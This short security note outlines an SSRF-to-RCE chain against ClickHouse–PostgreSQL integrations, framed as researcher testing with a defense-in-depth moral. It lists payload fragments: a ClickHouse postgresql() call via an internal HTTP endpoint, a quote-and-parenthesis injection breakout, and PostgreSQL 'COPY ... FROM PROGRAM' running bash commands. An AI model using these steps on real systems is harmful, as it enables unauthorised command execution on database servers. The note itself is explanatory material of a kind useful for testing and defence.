ClickHouse PostgreSQL SSRF to RCE Chain Testing

Security researchers testing ClickHouse-PostgreSQL integrations reproduce SSRF-to-RCE chains using documented exploit techniques.

ClickHouse PostgreSQL Function Testing:

• SELECT * FROM postgresql('host:5432','db','table','user','pass') - Tests basic connectivity
• query=SELECT+*+FROM+postgresql(...) - URL-encodes ClickHouse queries for SSRF
• Check escaping: "posthog_use')) - Injects closing parentheses to break out

PostgreSQL Command Execution:

• COPY table FROM PROGRAM $$bash -c "command"$$ - Executes shell commands
• CREATE TABLE cmd_exec(cmd_output text) - Captures command output
• Test internally: http://clickhouse:8123/?query=... - Bypasses external firewalls

Vulnerability Resources:

• Visit https://github.com/ClickHouse/ClickHouse/security/advisories for escaping bug details
• Review PostgreSQL COPY documentation at https://www.postgresql.org/docs/current/sql-copy.html

This chain exploits webhook SSRF, ClickHouse SQL injection, and PostgreSQL’s PROGRAM feature, demonstrating why defense-in-depth prevents single-point failures.